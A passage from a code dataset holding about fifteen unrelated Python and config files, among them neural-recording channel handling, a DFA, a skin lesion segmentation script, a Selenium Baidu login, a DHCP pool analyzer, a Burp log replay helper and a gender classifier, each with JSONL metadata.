non_mtl_leads]\r\n channel_names = [nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] for hdr_ind in config['ExtendedHeaderIndices']\r\n if 'chan' not in nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] and np.all([bad_chan not in nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] for bad_chan in bad_leads]) and nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] not in non_mtl_leads]\r\n print ([nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] for hdr_ind in config['ExtendedHeaderIndices']])\r\n orig_channels = None\r\n elif recording == 'neuralynx':\r\n \r\n from alignment_tools import get_params\r\n \r\n samplerate, _ = get_params(micfile[0],'neuralynx')\r\n labels = subi.get_micro_labels(localization_field = 'joel',recording = 'neuralynx')\r\n orig_channels = np.unique([fi.split('CSC')[-1].split('.')[0] for fi in glob(micfile[0]+'*.ncs')]).tolist()\r\n print(orig_channels)\r\n print(labels.keys())\r\n # We want these sorted\r\n channels = np.unique([int(chan) for chan in orig_channels if chan.lstrip('0') in labels.keys() and chan not in non_mtl_leads and np.all(bad_chan not in chan for bad_chan in bad_leads)]).astype(str).tolist()\r\n print(channels)\r\n channel_names = channels\r\n \r\n elif recording == 'split_channel':\r\n basename = micfile[0].split('/')[:-1]\r\n print ('/'.join(basename)+'/params.txt')\r\n with open('/'.join(basename)+'/params.txt', 'rt') as in_file: \r\n for line in in_file:\r\n if 'samplerate' in line:\r\n samplerate = np.float(line.split(' ')[-1])\r\n break\r\n else: raise ValueError('Couldn''t detect samplerate information.')\r\n orig_channels = np.unique([fi.split('.')[-1] for fi in glob('/'.join(basename)+'/*') if 'txt' not in fi]).tolist()\r\n channels = [chan for chan in orig_channels if chan not in non_mtl_leads and 'chan'+chan.lstrip('0') not in non_mtl_leads and np.all(bad_chan not in chan for bad_chan in bad_leads)]\r\n channel_names = channels\r\n\r\n print ('Processing channels:')\r\n print (channel_names)\r\n \r\n return micfile,channels,channel_names,bad_leads,non_mtl_leads,orig_channels,samplerate\r\n \r\n def identify_nav_epochs(self,micro = True):\r\n \r\n # Identify navigation epochs (defined as being within a list and not interrupted by a change in file)\r\n start = []\r\n finish = []\r\n searching_finish = 0\r\n \r\n if micro == True:\r\n for ind_ev,ev in enumerate(self.events):\r\n micfields = [ty for ty in ev.dtype.names if 'micfile' in ty and not np.all(self.events[ty] == '')]\r\n if ('INST' in ev['type'] or 'DELIV_START' in ev['type'] or 'pointing finished' in ev['type']) and np.all([ev[micfieldi] != '' for micfieldi in micfields]) and np.all([ev[micfieldi] != '[]' for micfieldi in micfields]) and not searching_finish and (ind_ev == len(self.events)-1 or np.all([ev[keyw] == self.events[ind_ev+1][keyw] for keyw in [ty for ty in ev.dtype.names if 'micfile' in ty]])):\r\n start.append({keyw: ev[keyw] for keyw in [ty for ty in ev.dtype.names if 'mic' in ty or 'mstime' in ty or 'trial' in ty or 'session' in ty]})#[ev['micoffset'],ev['micfile'],ev['mstime']]) \r\n searching_finish = 1\r\n elif searching_finish and (ev['type'] == 'REC_START' or ev['type'] == 'SESS_STARTED' or ev['type'] == 'pointing begins' or ind_ev == len(self.events)-1 or np.any([ev[keyw] != self.events[ind_ev+1][keyw] for keyw in [ty for ty in ev.dtype.names if 'micfile' in ty]])):\r\n finish.append({keyw: ev[keyw] for keyw in [ty for ty in ev.dtype.names if 'mic' in ty or 'mstime' in ty or 'trial' in ty or 'session' in ty]})#[ev['micoffset'],ev['micfile'],ev['mstime']])\r\n searching_finish = 0\r\n t_min = ((finish[-1]['mstime']-start[-1]['mstime'])/1000.)/60.\r\n print('Time in min: '+ str(int(t_min)))\r\n if t_min > 30:\r\n del(start[-1])\r\n del(finish[-1])\r\n print('Long list deleted')\r\n t_min = ((finish[-1]['mstime']-start[-1]['mstime'])/1000.)/60.\r\n print('Time in min of last list: '+ str(int(t_min)))\r\n \r\n else:\r\n for ind_ev,ev in enumerate(self.events):\r\n if ('INST' in ev['type'] or 'DELIV_START' in ev['type'] or 'pointing finished' in ev['type']) and not searching_finish:\r\n start.append({keyw: ev[keyw] for keyw in [ty for ty in ev.dtype.names if 'mstime' in ty or 'trial' in ty or 'session' in ty]})\r\n searching_finish = 1\r\n elif searching_finish and (ev['type'] == 'REC_START' or ev['type'] == 'SESS_STARTED' or ev['type'] == 'pointing begins' or ind_ev == len(self.events)-1):\r\n finish.append({keyw: ev[keyw] for keyw in [ty for ty in ev.dtype.names if 'mstime' in ty or 'trial' in ty or 'session' in ty]})\r\n searching_finish = 0\r\n t_min = ((finish[-1]['mstime']-start[-1]['mstime'])/1000.)/60.\r\n print('Time in min: '+ str(int(t_min)))\r\n if t_min > 30:\r\n del(start[-1])\r\n del(finish[-1])\r\n print('Long list deleted')\r\n t_min = ((finish[-1]['mstime']-start[-1]['mstime'])/1000.)/60.\r\n print('Time in min of last list: '+ str(int(t_min)))\r\n \r\n print ('Found '+str(len(start))+' navigation periods.')\r\n \r\n return start,finish\r\n \r\n ","sub_path":"session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":34411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"123972618","text":"nazioni = [\"italia\", \"francia\", \"germania\", \"albania\", \"brasile\", \"cina\", \"croazia\", \"estonia\", \"georgia\"]\r\ncapitali = [\"roma\", \"parigi\", \"berlino\", \"tirana\", \"brasilia\", \"pechino\", \"zagabria\", \"tallinn\", \"tiblisi\" ] \r\n\r\ndictionary = {}\r\n\r\n#dictionary[key] = value\r\n\r\nfor i in range(len(nazioni)):\r\n dictionary[capitali[i]] = nazioni[i]\r\n\r\n\r\ncapitale = input(\"inserisci capitale\")\r\nexist = False\r\n\r\nfor e in dictionary:\r\n if capitale == e:\r\n exist = True\r\n\r\nif exist:\r\n print(dictionary[capitale])\r\n\r\nelse:\r\n print(\"errore\")","sub_path":"Dictionary3.py","file_name":"Dictionary3.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"126574974","text":"from automata.fa.dfa import DFA\n# DFA which accepts single 'a' or (aa)* ending with 'b'\ndfa = DFA(\n states={'q0', 'q1', 'q2', 'q3', 'q4', 'q5'},\n input_symbols={'a', 'b'},\n transitions={\n 'q0': {'a': 'q1', 'b': 'q5'},\n 'q1': {'a': 'q2', 'b': 'q5'},\n 'q2': {'a': 'q3', 'b': 'q4'},\n 'q3': {'a': 'q2', 'b': 'q5'},\n 'q4': {'a': 'q5', 'b': 'q5'},\n 'q5': {'a': 'q5', 'b': 'q5'}\n },\n initial_state='q0',\n final_states={'q1', 'q4'}\n)\nfor i in range(1,6):\n num = input(\"Enter the string :\")\n if(dfa.accepts_input(num)):\n print(\"Accepted\")\n else:\n print(\"Rejected\")\n","sub_path":"autoQ4.py","file_name":"autoQ4.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"457248930","text":"import copy\nimport random\nfrom math import copysign\n\n\ndef mutation_shift(ind):\n mut = copy.deepcopy(ind)\n pos = random.sample(range(0, len(mut)), 2)\n g1 = mut[pos[0]]\n dir = int(copysign(1, pos[1] - pos[0]))\n for i in range(pos[0], pos[1], dir):\n mut[i] = mut[i + dir]\n mut[pos[1]] = g1\n return mut\n\n\nrandom.seed(21)\n\nind = list(range(1, 6))\nmut = mutation_shift(ind)\n\nprint(f'Original: {ind}')\nprint(f'Mutated: {mut}')\n","sub_path":"ch5/shift.py","file_name":"shift.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"345941654","text":"# Copyright (c) 2020 CRS4\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\"\"\"\\\nSkin lesion segmentation inference example.\n\"\"\"\n\nimport argparse\n\nimport numpy as np\nimport os\nimport pyecvl.ecvl as ecvl\nimport pyeddl.eddl as eddl\nfrom pyeddl.tensor import Tensor\n\nimport utils\nfrom models import SegNet\n\n\ndef main(args):\n num_classes = 1\n size = [192, 192] # size of images\n thresh = 0.5\n\n if args.out_dir:\n os.makedirs(args.out_dir, exist_ok=True)\n\n in_ = eddl.Input([3, size[0], size[1]])\n out = SegNet(in_, num_classes)\n out_sigm = eddl.Sigmoid(out)\n net = eddl.Model([in_], [out_sigm])\n eddl.build(\n net,\n eddl.adam(0.0001),\n [\"cross_entropy\"],\n [\"mean_squared_error\"],\n eddl.CS_GPU([1]) if args.gpu else eddl.CS_CPU()\n )\n eddl.summary(net)\n eddl.setlogfile(net, \"skin_lesion_segmentation_inference\")\n\n if not os.path.exists(args.ckpts):\n raise RuntimeError('Checkpoint \"{}\" not found'.format(args.ckpts))\n eddl.load(net, args.ckpts, \"bin\")\n\n training_augs = ecvl.SequentialAugmentationContainer([\n ecvl.AugResizeDim(size),\n ])\n test_augs = ecvl.SequentialAugmentationContainer([\n ecvl.AugResizeDim(size),\n ])\n dataset_augs = ecvl.DatasetAugmentations([training_augs, None, test_augs])\n\n print(\"Reading dataset\")\n d = ecvl.DLDataset(args.in_ds, args.batch_size, dataset_augs)\n x = Tensor([args.batch_size, d.n_channels_, size[0], size[1]])\n y = Tensor([args.batch_size, d.n_channels_gt_, size[0], size[1]])\n print(\"Testing\")\n d.SetSplit(ecvl.SplitType.test)\n num_samples_test = len(d.GetSplit())\n num_batches_test = num_samples_test // args.batch_size\n\n evaluator = utils.Evaluator()\n evaluator.ResetEval()\n for b in range(num_batches_test):\n n = 0\n print(\"Batch {:d}/{:d} \".format(\n b + 1, num_batches_test), end=\"\", flush=True)\n d.LoadBatch(x, y)\n x.div_(255.0)\n y.div_(255.0)\n eddl.forward(net, [x])\n output = eddl.getOutput(out_sigm)\n for k in range(args.batch_size):\n img = output.select([str(k)])\n gt = y.select([str(k)])\n img_np, gt_np = np.array(img, copy=False), np.array(gt, copy=False)\n iou = evaluator.BinaryIoU(img_np, gt_np, thresh=thresh)\n print(\"- IoU: %.6g \" % iou, end=\"\", flush=True)\n if args.out_dir:\n # C++ BinaryIoU modifies image as a side effect\n img_np[img_np >= thresh] = 1\n img_np[img_np < thresh] = 0\n img_t = ecvl.TensorToView(img)\n img_t.colortype_ = ecvl.ColorType.GRAY\n img_t.channels_ = \"xyc\"\n img.mult_(255.)\n # orig_img\n orig_img = x.select([str(k)])\n orig_img.mult_(255.)\n orig_img_t = ecvl.TensorToImage(orig_img)\n orig_img_t.colortype_ = ecvl.ColorType.BGR\n orig_img_t.channels_ = \"xyc\"\n\n tmp, labels = ecvl.Image.empty(), ecvl.Image.empty()\n ecvl.CopyImage(img_t, tmp, ecvl.DataType.uint8)\n ecvl.ConnectedComponentsLabeling(tmp, labels)\n ecvl.CopyImage(labels, tmp, ecvl.DataType.uint8)\n contours = ecvl.FindContours(tmp)\n ecvl.CopyImage(orig_img_t, tmp, ecvl.DataType.uint8)\n tmp_np = np.array(tmp, copy=False)\n for cseq in contours:\n for c in cseq:\n tmp_np[c[0], c[1], 0] = 0\n tmp_np[c[0], c[1], 1] = 0\n tmp_np[c[0], c[1], 2] = 255\n\n filename = d.samples_[d.GetSplit()[n]].location_[0]\n head, tail = os.path.splitext(os.path.basename(filename))\n bname = \"%s.png\" % head\n output_fn = os.path.join(args.out_dir, bname)\n ecvl.ImWrite(output_fn, tmp)\n\n gt_t = ecvl.TensorToView(gt)\n gt_t.colortype_ = ecvl.ColorType.GRAY\n gt_t.channels_ = \"xyc\"\n gt.mult_(255.)\n gt_filename = d.samples_[d.GetSplit()[n]].label_path_\n gt_fn = os.path.join(\n args.out_dir, os.path.basename(gt_filename)\n )\n ecvl.ImWrite(gt_fn, gt_t)\n n += 1\n print()\n print(\"MIoU: %.6g\" % evaluator.MeanMetric())\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\"in_ds\", metavar=\"INPUT_DATASET\")\n parser.add_argument(\"ckpts\", metavar='CHECKPOINTS_PATH',\n default='./isic_segm_segnet_adam_lr_0.0001_loss_'\n 'ce_size_192_epoch_24.bin')\n parser.add_argument(\"--batch-size\", type=int, metavar=\"INT\", default=8)\n parser.add_argument(\"--gpu\", action=\"store_true\")\n parser.add_argument(\"--out-dir\", metavar=\"DIR\",\n help=\"if set, save images in this directory\")\n main(parser.parse_args())\n","sub_path":"python/skin_lesion_segmentation_inference.py","file_name":"skin_lesion_segmentation_inference.py","file_ext":"py","file_size_in_byte":6065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"335941633","text":"__author__ = 'chloe'\r\n# coding = utf-8\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\nimport time\r\n\r\n'''\r\nfrom selenium import webdriver\r\ndriver = webdriver.Ie()\r\nfirst_url =\"http://www.baidu.com\"\r\nprint('now access to:%s' % first_url)\r\ndriver.get(first_url)\r\nsecond_url =\"http://news.baidu.com\"\r\nprint('now access to:%s' % second_url)\r\ndriver.get(second_url)\r\nprint('now back to:%s' % first_url)\r\ndriver.back()\r\nprint('now back to:%s' % second_url)\r\ndriver.forward()\r\n'''\r\ndriver = webdriver.Chrome()\r\ntime.sleep(0.2)\r\ndriver.get(\"https://www.baidu.com\")\r\nprint(driver.title)\r\n#driver.find_element_by_xpath(\".//*[@id='gmail-sign-in']\").click()\r\ntime.sleep(0.2)\r\ntext = driver.find_element_by_id(\"jgwab\").text#beianxinxi\r\nprint(text)\r\ndriver.find_element_by_xpath(\".//*[@id='u1']/a[7]\").click() #denglu\r\ntime.sleep(2)\r\nsize = driver.find_element_by_id(\"TANGRAM__PSP_8__userName\").size #yonghumingkuanggaodu\r\nprint(size)\r\ndriver.find_element_by_id(\"TANGRAM__PSP_8__userName\").clear()\r\ndriver.find_element_by_id(\"TANGRAM__PSP_8__userName\").send_keys(\"徐燕雯\")\r\nattribute = driver.find_element_by_id(\"TANGRAM__PSP_8__userName\").get_attribute('type')\r\nresult = driver.find_element_by_id(\"TANGRAM__PSP_8__userName\").is_displayed()\r\nprint(result)\r\nprint(attribute)\r\ntime.sleep(1)\r\n\r\n\r\n\r\n#print(driver.title)\r\n\r\n#driver.set_window_size(800,480)\r\n\r\n#driver.quit()\r\n\r\n","sub_path":"ie.py","file_name":"ie.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"133696062","text":"from P4 import P4, P4Exception\nfrom Environment import Environment\n\np4 = P4()\np4.user = Environment.p4_user\n# p4.password = Environment.p4_password\np4.port = Environment.p4_port\np4.client = Environment.p4_client\n\ndir_path = Environment.target_dir_path\nfile_path = Environment.target_file_path\n\ntry:\n p4.connect()\n\n # NewChangeList\n change = p4.fetch_change()\n change._description = \"Hello World\\n\"\n change._files = file_path\n p4.fetch_change()\n\n print(change)\n p4_info = p4.run(\"info\")[0] # 情報取得\n workspace_root = p4_info[\"clientRoot\"]\n p4.run_sync()\n p4.run( \"change\", \"-i\" )\n # p4.run( \"revert\", \"-a\" )\n # p4.run( \"client\", \"-o\" )[0]\n\n# p4.run_submit( change )\n\n # p4.run(\"edit\", dir_path)\n # p4.run(\"revert\", file_path)\n p4.disconnect()\nexcept P4Exception:\n for e in p4.errors:\n print(e)\n","sub_path":"Perforce/GetChangeList.py","file_name":"GetChangeList.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"625528538","text":"import json\nimport csv\nfrom datetime import datetime\nfrom netaddr import *\n\n\ndef load_file(file_name):\n\n \"\"\"\n This function loads a file based on a name\n The file must be on the same location as this script\n It returs a dictionary from the json file\n \"\"\"\n\n # creates an empty dictionary\n dhcp_data = {}\n # open the file\n with open(file_name) as f:\n # add the json data to the dict\n dhcp_data.update(json.load(f))\n # return the dictionary\n return dhcp_data[\"subnets\"]\n\n\ndef output_data(file_name, data):\n\n \"\"\"\n This function requires a file name and a list\n This will go over the list and will create a file\n in the same location as this scrip with the provided\n name\n \"\"\"\n # create the file\n with open(file_name, \"w\") as csv_f:\n field_names = [\n \"Collection Date\",\n \"Device\",\n \"IP Total\",\n \"Used IPs\",\n \"Free IPs\",\n \"Subnet Range\",\n ]\n writer = csv.DictWriter(csv_f, fieldnames=field_names)\n\n writer.writeheader()\n for item in data:\n writer.writerow(item)\n\n\ndef analyze_pools(location_list, ip_data):\n\n \"\"\"\n This function received 2 lists and returns a list with multiple Dictionaries on it\n The first list should contain a list of names \"locations\" that are used to match\n with the second list( which contains the data )\n \"\"\"\n\n # initlize list to store a number of dictionaries inside\n locations_data = []\n\n # loop over each provided location\n for location in location_list:\n # initialize counters for IPs\n total_ips = 0\n total_free = 0\n total_used = 0\n subnet_range = \"\"\n # loop over each data set from the provided IP data\n for item in ip_data:\n # check that the locations for the data set are the same as the required locations\n if location == item[\"location\"] or location is item[\"location\"]:\n # verify that the IP data to analyze is not in the RFC1918 and add them to totals\n if not (IPAddress(item[\"first_ip\"]).is_private()):\n total_ips += item[\"defined\"]\n total_free += item[\"free\"]\n total_used += item[\"used\"]\n subnet_range = item[\"range\"]\n # Adds a dictionary to a list\n locations_data.append(\n {\n \"Collection Date\": datetime.now().strftime(\"%d/%m/%Y\"),\n \"Device\": location,\n \"IP Total\": total_ips,\n \"Used IPs\": total_used,\n \"Free IPs\": total_free,\n \"Subnet Range\": subnet_range,\n }\n )\n # Call the output data function to print all to csv file\n output_data(\"data.csv\", locations_data)\n\n\ndef analyze_locations(file_name):\n \"\"\"\n This function will receive a file name in the form of a function\n The file name and the function call is stored inside a variable\n as the file_name returns a dictionary\n Then we analyze this data and return a set of locations\n \"\"\"\n\n # call the load_file function to return the dict that holds all data\n data = file_name\n # Create an empty list to store each location\n locations_names = set([])\n # this will store a dict with all the data per location\n\n # loop over all the data\n for subnet in data:\n # Grab only the names that have the CPE or internet Name on them\n if (\n subnet[\"location\"][-3:].lower() == \"cpe\"\n or subnet[\"location\"][:12].lower() == \"fttxinternet\"\n ):\n # check the location and if it is not duplicated, then add it to the array\n locations_names.add(subnet[\"location\"])\n\n # call the analyze_pools function and pass the locations and the data\n analyze_pools(locations_names, data)\n\n\n# Call the analyze_data function\nanalyze_locations(load_file(\"test.json\"))\n","sub_path":"dhcp_analyzer.py","file_name":"dhcp_analyzer.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"619328456","text":"import FWCore.ParameterSet.Config as cms\nfrom copy import deepcopy\n\nfrom DQM.HcalMonitorTasks.HcalZDCMonitor_cfi import *\n\nzdcMonitor = cms.EDAnalyzer(\"ZDCMonitorModule\",\n\n # GLOBAL VARIABLES\n debug = cms.untracked.int32(0), # make debug an int so that different values can trigger different levels of messaging\n Online = cms.untracked.bool(False), # control online/offline differences in code\n\n # number of luminosity blocks to check\n Nlumiblocks = cms.untracked.int32(1000),\n AllowedCalibTypes = cms.untracked.vint32([0,1,2,3,4,5,6,7]),\n BadCells = cms.untracked.vstring(),\n\n # Determine whether or not to check individual subdetectors\n checkZDC= cms.untracked.bool(True),\n checkNevents = cms.untracked.int32(1000),\n subSystemFolder = cms.untracked.string(\"Hcal/ZDCMonitor\"), # change to \"ZDC\" when code is finalized\n\n FEDRawDataCollection = cms.untracked.InputTag(\"rawDataCollector\"),\n\n # Turn on/off timing diagnostic info\n showTiming\t\t\t= cms.untracked.bool(False), # shows time taken by each process\n diagnosticPrescaleLS\t\t= cms.untracked.int32(-1),\n diagnosticPrescaleEvt\t= cms.untracked.int32(-1),\n\n #Specify Pedestal Units \n pedestalsInFC\t\t\t= cms.untracked.bool(True),\n #Specify Digis\n digiLabel = cms.InputTag(\"hcalDigis\"), \n #Specify RecHits \n zdcRecHitLabel = cms.InputTag(\"zdcreco\"),\n\n # ZDC MONITOR\n ZDCMonitor\t\t\t\t= cms.untracked.bool(True),\n ZDCMonitor_checkNevents\t\t= cms.untracked.int32(1000),\n ZDCMonitor_deadthresholdrate\t\t= cms.untracked.double(0.),\n\n gtLabel = cms.InputTag(\"l1GtUnpack\"),\n\n zdcMonitorTask = hcalZDCMonitorTask,\n )\n\ndef setZDCTaskValues(process):\n # If you import this function directly, you can then set all the individual subtask values to the global settings\n # (This is useful if you've changed the global value, and you want it to propagate everywhere)\n\n # set checkNevents -- soon to be deprecated in favor of checking once/lumi block\n checkNevents = deepcopy(process.checkNevents.value())\n process.ZDCMonitor_checkNevents\t\t\t= checkNevents\n\n # set pedestalsInFC\n pedestalsInFC = deepcopy(process.pedestalsInFC.value())\n return\n","sub_path":"DQM/HcalMonitorModule/python/ZDCMonitorModule_cfi.py","file_name":"ZDCMonitorModule_cfi.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"296699692","text":"#!/usr/bin/env python3\n\n# minimal form with test and instruction bloc :\nage = int(input(\"hey gimme your age: \"))\nif age > 18:\n print(\"yes: you can enter in the casino\")\n\n# uses of elif\nif age > 18:\n print(\"yes: you can enter in the casino\")\nelif age < 18:\n print(\"no way! too young...Eat some soup!\")\n\n# uses of else :\nuser = \"bob\"\nif user == \"root\":\n print(\"access granted\")\nelif user == \"admin\":\n print(\"access granted\")\nelse:\n print(\"access denied !\")\n\n# logicals operators : and or not :\nnb = 5\nif nb > 2 and nb < 10:\n print(\"bingo!\")\n\nnb = 5\nif nb > 2 and nb < 10 or nb >15:\n print(\"bingo!\")\n\nnb = 5\nif nb > 2 and (nb < 10 or nb >15):\n print(\"bingo!\")\n\n\nuser = \"bob\"\nif not user == \"root\":\n print(\"access denied\")\n","sub_path":"python/python_exemples/conditionals_structures.py","file_name":"conditionals_structures.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"355398281","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport os.path\r\nimport shutil\r\nfrom processing_ng_public import __version__ as main_ver\r\n\r\nCWD = os.getcwd()\r\ndst_1 = os.path.join(CWD, 'dist')\r\ndst_3 = os.path.join(CWD, 'dist', 'log')\r\n\r\nif not os.path.exists(dst_3):\r\n os.makedirs(dst_3)\r\n\r\nfiles1 = ['processing.conf', 'unload.conf', 'LICENSE.rst', 'AUTHORS.rst', 'README.rst', 'CHANGES.rst']\r\n\r\nf1 = [shutil.copy(j, dst_1) for j in files1]\r\n\r\ndbl = \"\"\"rem DB_ALIAS\r\n\r\n\"\"\"\r\n\r\nfexe = 'processing_ng_public-{0}.exe'.format(main_ver)\r\nos.rename(os.path.join(dst_1, 'processing_ng_public.exe'), os.path.join(dst_1, fexe))\r\n\r\nbat = {\\\r\n '_простая выгрузка - DB_ALIAS.bat': ' --action unload --subtype simple --db DB_ALIAS',\r\n # '_выгрузка по сотням - DB_ALIAS.bat': ' --action unload --subtype parametric --param district --db DB_ALIAS',\r\n # '_выгрузка по десяткам - DB_ALIAS.bat': ' --action unload --subtype parametric --param ten --db DB_ALIAS',\r\n '_склеить XLSX.bat': ' --action xlsx --subtype join',\r\n '_сцепить 2 XLSX-файла.bat': ' --action xlsx --subtype compare'\r\n # '_выгрузка по всем ПВД.bat': ' --action unload --subtype allpvd'\r\n }\r\n\r\nfor i in bat.keys():\r\n f = open(os.path.join(dst_1, i), 'w').write(''.join([dbl, fexe, bat[i], '\\npause']))\r\n\r\n\r\n","sub_path":"prep.py","file_name":"prep.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"242603340","text":"import trio\nimport httpx\nfrom furl import furl\n\nfrom pyburphelper import burp_log, tail_f_burp_log\n\nHTTP_PROXY = \"http://localhost:8080\"\nBURP_LOG_FILE = '/tmp/burp_requests.log'\n\n\nasync def main():\n to_resend_list = []\n\n for row in burp_log(BURP_LOG_FILE):\n if \"XXX\" in dict(row.request.headers):\n continue\n\n if all(h not in row.request.addr for h in [\"mail.ru\", \"ok.ru\"]):\n continue\n\n f = furl(row.request.url)\n f.add({'come': \"to daddy 1\"})\n f.add({'come': \"to daddy 2\"})\n f.path.segments =f.path.segments[:1] + [\"come\", \"to\", \"daddy\"] + f.path.segments[1:]\n row.request.url = f.url\n row.request.headers.append(('XXX', \"come to daddy\"))\n\n print(row.request.url)\n to_resend_list.append(row.request)\n\n limit = trio.CapacityLimiter(20)\n\n async def fetch(method, url, content, headers):\n try:\n res = await client.request(req.method,\n req.url,\n content=req.body,\n headers=headers,\n timeout=30,\n allow_redirects=False)\n print(f\"{req.method:8} {req.url} [{res.status_code}]\")\n except httpx.ReadTimeout:\n print(f\"{req.method:8} {req.url} [ timeout -1 ]\")\n\n async with httpx.AsyncClient(proxies=httpx.Proxy(url=HTTP_PROXY), verify=False) as client:\n async with trio.open_nursery() as nursery:\n for req in to_resend_list:\n async with limit:\n headers = dict(req.headers)\n headers.pop('Content-Length', None)\n nursery.start_soon(fetch, req.method, req.url, req.body, headers)\n\nif __name__ == \"__main__\":\n trio.run(main)\n print(\"__the_end__\")\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"74584025","text":"from statistics import mode\r\nimport dlib\r\nimport cv2\r\nfrom keras.models import load_model\r\nimport numpy as np\r\n\r\nfrom utils.datasets import get_labels\r\nfrom utils.inference import detect_faces\r\nfrom utils.inference import draw_text\r\nfrom utils.inference import draw_bounding_box\r\nfrom utils.inference import apply_offsets\r\nfrom utils.inference import load_detection_model\r\nfrom utils.preprocessor import preprocess_input\r\n\r\nfemale_count=0\r\nmale_count=0\r\nprev_max=0\r\ntemp=0\r\ncor=0\r\ndiff_cor=0\r\n# parameters for loading data and images\r\n#detection_model_path = '../trained_models/detection_models/haarcascade_frontalface_default.xml'\r\n#emotion_model_path = '../trained_models/emotion_models/fer2013_mini_XCEPTION.102-0.66.hdf5'\r\ngender_model_path = '../trained_models/gender_models/updated_weights.hdf5'\r\n#emotion_labels = get_labels('fer2013')\r\ngender_labels = get_labels('imdb')\r\nfont = cv2.FONT_HERSHEY_SIMPLEX\r\n\r\n# hyper-parameters for bounding boxes shape\r\nframe_window = 10\r\ngender_offsets = (30, 60)\r\n#emotion_offsets = (20, 40)\r\n\r\n# loading models\r\n#face_detection = load_detection_model(detection_model_path)\r\n#emotion_classifier = load_model(emotion_model_path, compile=False)\r\ngender_classifier = load_model(gender_model_path, compile=False)\r\n\r\n# getting input model shapes for inference\r\n#emotion_target_size = emotion_classifier.input_shape[1:3]\r\ngender_target_size = gender_classifier.input_shape[1:3]\r\n\r\n# starting lists for calculating modes\r\ngender_window = []\r\n#emotion_window = []\r\n\r\n# starting video streaming\r\ncv2.namedWindow('window_frame')\r\nvideo_capture = cv2.VideoCapture('C:/Users/hp i7/Desktop/VID_20190419_161854.mp4')\r\n\r\nwhile True:\r\n\r\n bgr_image = video_capture.read()[1]\r\n gray_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2GRAY)\r\n rgb_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2GRAY)\r\n #gray_image=bgr_image\r\n #rgb_image=bgr_image\r\n hog_face_detector = dlib.get_frontal_face_detector()\r\n faces_hog = hog_face_detector(gray_image, 1)\r\n #faces = detect_faces(face_detection, gray_image)\r\n\r\n\r\n for face_coordinates in faces_hog:\r\n x = face_coordinates.left()\r\n y = face_coordinates.top()\r\n w = face_coordinates.right() - x\r\n h = face_coordinates.bottom() - y\r\n face_off=x,y,w,h\r\n\r\n x1, x2, y1, y2 = apply_offsets(face_off, gender_offsets)\r\n rgb_face = rgb_image[y1:y2, x1:x2]\r\n\r\n # x1, x2, y1, y2 = apply_offsets(face_coordinates, emotion_offsets)\r\n #gray_face = gray_image[y1:y2, x1:x2]\r\n\r\n rgb_face = cv2.resize(rgb_face, (gender_target_size))\r\n #gray_face = cv2.resize(gray_face, (emotion_target_size))\r\n\r\n\r\n # gray_face = preprocess_input(gray_face, False)\r\n # gray_face = np.expand_dims(gray_face, 0)\r\n #gray_face = np.expand_dims(gray_face, -1)\r\n #emotion_label_arg = np.argmax(emotion_classifier.predict(gray_face))\r\n #emotion_text = emotion_labels[emotion_label_arg]\r\n #emotion_window.append(emotion_text)\r\n rgb_face = np.expand_dims(rgb_face, 2)\r\n rgb_face = np.expand_dims(rgb_face, 0)\r\n\r\n rgb_face = preprocess_input(rgb_face, 